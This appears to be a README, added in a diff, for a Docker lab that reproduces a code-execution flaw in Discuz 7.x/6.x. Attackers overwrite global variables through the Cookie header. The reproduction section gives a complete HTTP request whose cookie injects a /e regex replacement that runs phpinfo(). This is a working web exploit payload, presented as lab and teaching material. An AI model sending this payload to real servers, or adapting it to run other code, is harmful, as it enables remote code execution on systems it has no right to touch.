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+# Discuz 7.x/6.x 全局变量防御绕过导致代码执行
+
+由于php5.3.x版本里php.ini的设置里`request_order`默认值为GP，导致`$_REQUEST`中不再包含`$_COOKIE`，我们通过在Cookie中传入`$GLOBALS`来覆盖全局变量，造成代码执行漏洞。
+
+具体原理请参考：
+
+- https://www.secpulse.com/archives/2338.html
+
+## 漏洞环境
+
+执行如下命令启动Discuz 7.2：
+
+```
+docker-compose up -d
+```
+
+启动后，访问`http://your-ip:8080/install/`来安装discuz，数据库地址填写`db`，数据库名为`discuz`，数据库账号密码均为`root`。
+
+![](1.png)
+
+## 漏洞复现
+
+安装成功后，直接找一个已存在的帖子，向其发送数据包，并在Cookie中增加`GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();`：
+
+```
+GET /viewthread.php?tid=10&extra=page%3D1 HTTP/1.1
+Host: your-ip:8080
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
+Connection: close
+
+
+```
+
+可见，phpinfo已成功执行：
+
+![](2.png)
+
+> 网上文章说需要一个带表情评论的帖子，实际测试发现并不需要，这块仍需阅读代码来解释原因。
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